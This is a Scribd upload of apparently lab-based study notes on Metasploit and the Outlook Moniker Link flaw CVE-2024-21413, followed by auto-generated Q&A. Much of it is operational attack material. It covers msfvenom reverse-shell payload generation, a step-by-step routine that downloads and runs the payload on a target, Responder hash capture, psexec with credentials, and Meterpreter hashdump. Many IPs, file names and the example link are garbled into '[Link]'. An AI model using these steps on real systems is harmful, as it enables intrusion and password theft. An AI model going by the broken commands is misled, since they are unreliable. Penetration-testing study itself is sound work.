0% found this document useful (0 votes)
37 views5 pages

Metasploit Payload Creation Guide

Uploaded by

thestriker950
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
37 views5 pages

Metasploit Payload Creation Guide

Uploaded by

thestriker950
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

-------------Moniker Link (CVE-2024-21413)--------------------------

A Moniker Link:- special kind of hyperlink that points not to a website (like
[Link] but to a file or application on a system
The file:// protocol → Accesses local or shared files
The Windows Component Object Model (COM) → Lets Windows open/launch
applications or resources via URL
Example Moniker Link:
<a href="[Link] me</a>
When this link is clicked:
Outlook tries to fetch a file from a remote server
This uses SMB (Server Message Block) protocol
During the request, the victim's Windows credentials (NTLM hash) are
automatically sent to the remote SMB server
To protect users, Outlook uses Protected View:
When you open emails with suspicious content (attachments, external links,
macros)
It runs the email in a sandbox, disables macros, and blocks risky links
The Vulnerability (CVE-2024-21413)
Use a ! in the link:- <a href="[Link]
me</a>
Bypasses the protection, and Outlook proceeds to connect to the remote
server.
Send the victim’s NTLMv2 hash (a Windows password hash)

Exploitation:-
Responder is a tool used by attackers or penetration testers to:
Capture network authentication requests.
Steal password hashes (especially NTLM hashes).
Trick machines into authenticating with the attacker's machine, thinking
it’s a legit network resource.
-> responder -I ens5
tells Responder to listen on interface ens5 (network adapter).
So if any Windows machine on the network tries to find a file share (SMB) or
misresolves a hostname, Responder tricks it into connecting to your machine —
and sends you its NTLMv2 hash.

📂
SMB - Server Message Block - lets computers on the same network:
Access shared files/folders

💬🖨️ Use shared printers


Communicate for file-related services
SMB sends credentials (NTLM hashes) during access attempts.
Detection:-
YARA is a tool used to detect malware or suspicious patterns in files, emails,
memory, etc. It’s often used by malware analysts and security teams.
Here YARA rule that looks for emails containing:
file://
— specifically used inside a Moniker Link

-----------------------------Metasploit-------------------------------
-> msfconsole
Metasploit is made of different modules — each designed for a specific task:
[Link] Modules Used for non-exploitation tasks like Scanning, sniffing,
crawling, etc.
[Link] Used to encode payloads to Bypass antivirus, Obfuscate the
code
[Link] Specifically avoid AV/Defender detection
[Link] Actual attack scripts
[Link] Padding used in shellcode (tells the CPU: "do nothing
for a moment".)
[Link] What runs on the target (e.g. shell, user creation)
Adapters: Reformat payloads (e.g., into PowerShell).
Singles: One-shot payloads; run immediately, no extra download.
Stagers: Set up a connection to download the main payload.(like a platform
to run the main payload(stages))
Stages: The main payload downloaded and executed by the stager.
[Link] Modules What you do after hacking (e.g. privilege escalation)

Commands:-
-msfconsole
-use exploit/windows/smb/ms17_010_eternalblue -> use a context exploit
-show options -> print options related to the exploit we have chosen
-show payloads
-info -> Further information on any module
-back -> to go back out of the current context
-search {name} -> search the Metasploit Framework database for modules
relevant to the given search parameter.(search ms17-010)

Ranking of exploits
Excellent: Always works, never crashes (e.g., SQLi, RFI).
Great: Very reliable with version checks or app-specific logic.
Good: Works well on common/default setups (e.g., English Win7).
Normal: Works but version-specific, no auto-detect.
Average: Unreliable or difficult to exploit.
Low: Nearly impossible to exploit
Manual: Unstable, difficult to exploit, Mostly DoS or needs special setup to be
useful.

Parameters used often: (can be seen in "show options")


RHOSTS: “Remote host”, the IP address of the target system
RPORT: “Remote port”, the port on the target system the vulnerable application
is running on.
PAYLOAD: The payload you will use with the exploit.
LHOST: “Localhost”, the attacking machine (your AttackBox or Kali Linux) IP
address.
LPORT: “Local port”, the port you will use for the reverse shell to connect back
to. This is a port on your attacking machine, and you can set it to any port not
used by any other application.
SESSION: Each connection established to the target system using Metasploit will
have a session ID. You will use this with post-exploitation modules that will
connect to the target system using an existing connection.

-set rhost [Link] -set the value in the current module/context


only...when switch to another, need to set again
-unset/unset all all (clear any parameter value or all )
-setg rhost [Link] -set across all module at once
-exploit -Once all module parameters are set, you can launch the module
using the exploit command(exploitation)
-exploit -z -exploit -z run the exploit and background the session as
soon as it opens.

Once a vulnerability has been successfully exploited, a session will be created


will be in "meterpreter->"
it is the communication channel established between the target system and
Metasploit.
-background -to background the session prompt and go back to the msfconsole
prompt. (also ctrl z)
-sessions -to list active sessions
-sessions -i 2 -To interact with any session, use sessions -i command followed
by the desired session number.

-search portscan -> to list potential port scanning module


msf6 > nmap -sS [Link] -> can run nmap cmds directly in this console

What is the "penny" user's SMB password? using smb_login module


-use smb_login
-show options
-set rhosts <target_ip>
-set SMBUser penny
-set PASS_FILE <pathtowordlist>

Metasploit has a database function to simplify project management and avoid


possible confusion when setting up parameter values.
need to start the PostgreSQL database, by : systemctl start postgresql.
initialize the Metasploit Database using : msfdb init (if root :sudo -u
postgres msfdb init)
-msfconsole
-db_status
database feature will allow you to create workspaces to isolate different
projects. :workspace
add a new worspace : workspace -a tryhackme (to delete -d)
workspace -h command to list available options for the workspace command.
If you run a Nmap scan using the db_nmap shown below, all results will be
saved to the database.
db_nmap -sV -p- [Link]
-hosts/services -> to get relevent info related to the target
Once the host info is stored in the db, use the -> hosts -R to add this
value to the RHOSTS parameter.
-services -S netbios search for specific services in the environment.

Exploit-
-use eternalblue
-show payloads
-set payload 2 (the no from the list we want)
-set lhost [Link] (ur ip)
-exploit
ctrl+z to run in background session
-sessions
-sessions -i 2 (session id from the list)

Msfvenom - Tool that helps:


Create malicious payloads (code that gives you control over a target).
Encode or obfuscate payloads.
Output payloads in different formats like .exe, .elf, .php, etc.
replaced msfpayload & msfencode -->msfvenom
Linux payload
-msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=4444
-f elf > [Link]
-p payload u want
-f format > saving into a file
Windows payload
-msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=4444 -f
exe > [Link]
PHP payload
-msfvenom -p php/reverse_php LHOST=10.10.X.X LPORT=7777 -f raw >
[Link]
EDIT the file so it can start with "<?php" and end with "?>"
Python payload
-msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=8888 -f raw >
rev_shell.py
A handler listens for incoming connections from the payload.
-use exploit/multi/handler
-set payload linux/x64/meterpreter/reverse_tcp (set the same payload used
above)
-set LHOST 10.10.X.X
-set LPORT 4444
-run

[Link] the PHP shell using MSFvenom


[Link] the Metasploit handler
[Link] the PHP shell

STEP 1: Create the Malware File (called payload)


on attackbox
-msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=4444 -f
elf > [Link]
STEP 2: Share that File
on attackbox
-python3 -m [Link] 9000
STEP 3: Login to the Target Machine
on target
-ssh
-sudo so (to become root)
STEP 4: Download the Malware on Target
on target
-wget [Link]
-chmod +x [Link]
STEP 5: Start Listener to Catch the Connection
on attackbox
-msfconsole
-use exploit/multi/handler
-set payload linux/x64/meterpreter/reverse_tcp
-set LHOST YOUR_ATTACKBOX_IP
-set LPORT 4444
-run
STEP 6: Run the Malware on Target
on target
-./[Link]
STEP 7: Steal Password Hashes
on attackbox
-sessions
-session -i 1
-background
Run hash stealing tool
-use post/linux/gather/hashdump
-set SESSION 1
-run

METERPRETER
-is a Metasploit payload that runs on the target system and provides
powerful tools for pen testing and remote control.
It runs in memory and does not write itself to the disk on the target(i.e not
installed to avoid detection)
Also avoid detection by IPS & IDS by using encrypted(TLS) communication with the
server(attacker)
Many version of meterpreter is there...which to use is based on 3 factors
1. target os(mac,linux,win)
[Link] available on the target system
3.n/w connection type with the target
When you use some exploits, Metasploit automatically adds a suitable payload
like Meterpreter. You can change it if needed, but it picks a smart default to
help you get started faster.
Will be diff commands for diff meterpreter version
If you run the help command, you will see Meterpreter commands are listed under
different categories.
Core commands
File system commands
Networking commands
System commands
User interface commands
Webcam commands
Audio output commands
Elevate commands
Password database commands
Timestomp commands
Migrating to another process will help Meterpreter interact with it.
like migrating to word processor and capture key strokes
-migrate 715 (PID)
The hashdump command will list the content of the SAM database (stores user's
passwords on Windows systems)
-hashdump
The search command is useful to locate files
-search -f [Link]
The shell command will launch a regular command-line shell on the target system
-shell
To load additional tools
-load python / load kiwi etc...

Meterpreter-Exploit
-msfconsole
-use exploit/windows/smb/psexec
-set RHOSTS <Target_IP>
-set SMBUser ballen (given)
-set SMBPass Password1
-set PAYLOAD windows/meterpreter/reverse_tcp
-set LHOST <Your_Attacking_IP>
-exploit

then run required commands on the meterpreter console like


-sysinfo
-migrate pid
-search -f [Link] etc

Windows blue exploiting


-nmap -sv -vv --script vuln target_ip
Got the open ports and vulnerablility(eternal blue ms17-010)

Common questions

Powered by AI

Meterpreter is a powerful payload within Metasploit that provides extensive control over a compromised system; it operates in memory to avoid detection, and uses encrypted communication to evade IDS/IPS. Once an exploit successfully establishes a session, Metasploit can automatically deploy Meterpreter, which offers commands for process migration, privilege escalation, and more, allowing security testers to gather system information, modify files, and interact with system components. It is flexible, supporting various commands depending on the target OS and network environment .

The typical workflow for executing a reverse shell attack using MSFvenom and Metasploit involves several steps: First, the attacker uses MSFvenom to generate a payload for the desired target platform and format, such as a Windows executable or a PHP script. This payload is then delivered to the target system via social engineering or an exploit. The attacker sets up a listener using Metasploit to catch the incoming connection initialized by the payload. When executed, the payload creates a reverse connection to the attacker's host, establishing a session for command execution and data extraction. This form of attack poses significant security risks as it allows remote control over the target system, making it difficult to detect since it exploits legitimate outbound connections from the victim's network .

The Responder tool plays a critical role in exploiting the SMB protocol by capturing network authentication requests and tricking Windows machines into authenticating with the attacker's machine, which they mistakenly believe is a legitimate network resource. Once the connection is made, Responder captures the NTLM hash being sent, effectively stealing the victim's credential hash .

Outlook uses Protected View as a security mechanism to safeguard against threats from email attachments by opening emails and their potentially harmful content in a sandboxed environment, blocking macros, and risky links to prevent malicious content execution. However, CVE-2024-21413 bypasses these protections by exploiting the use of Moniker Links with an exclamation mark that makes Outlook ignore its security protocols, facilitating unauthorized connection to external servers and subsequent theft of NTLM hashes .

The CVE-2024-21413 vulnerability exploits the Windows Component Object Model (COM) by utilizing Moniker Links to create a hyperlink that points to a local or remote file, or application on a system using the file:// protocol. When such a link is clicked in Outlook, the application attempts to fetch the file using the SMB protocol, inadvertently sending the victim's NTLMv2 hash to the attacker's remote server. By placing an exclamation mark '!' in the link, the attacker can bypass Outlook's usual protections like Protected View, allowing direct communication with the remote server and extraction of user credentials .

To successfully hijack an SMB session, Responder is used to listen on the network interface and intercept SMB authentication requests. When a Windows client attempts to access a supposed SMB resource, Responder replies, tricking the client into sending its authentication hash. After capturing these hashes, tools like Metasploit can further exploit this by authenticating with other network resources or leveraging these credentials to execute further attacks, such as deploying Meterpreter payloads for deeper system control and data exfiltration .

Metasploit's database functionality can be leveraged to streamline penetration testing by allowing the tester to import and manage Nmap scan results within the framework. The command 'db_nmap' saves scan results directly into Metasploit's database, providing a structured and centralized way to store and retrieve host and service information. This integration facilitates seamless transition from reconnaissance to exploitation, as testers can use stored data to set parameters such as RHOSTS for further exploitation efforts, improving workflow efficiency .

Metasploit categorizes exploits based on reliability and usage conditions, with ranks including Excellent, Great, Good, Normal, Average, Low, and Manual. 'Excellent' exploits, like SQLi or RFI, are highly reliable and do not crash systems, making them the most desirable for consistent results. 'Great' and 'Good' are slightly less reliable but still effective under certain conditions. Lower rankings signify increased difficulty or unreliability in exploitation, which affects strategic decisions as attackers prefer highly reliable exploits to minimize detection and system impact .

Auxiliary modules in Metasploit are used for tasks that do not involve direct exploitation. They support various network tasks like scanning, sniffing, and service enumeration, focusing on information gathering rather than exploiting vulnerabilities. In contrast, exploit modules are specifically designed to leverage vulnerabilities to gain unauthorized access or escalate privileges on target systems .

Exploits categorized as 'Excellent' in Metasploit, such as those involving SQL injection, are considered highly reliable and effective, usually always working without crashing the target application. They are less risky because they are unlikely to disrupt the application or system operations, broadly affecting only the data layer without leading to server instability or potential for easy detection .

You might also like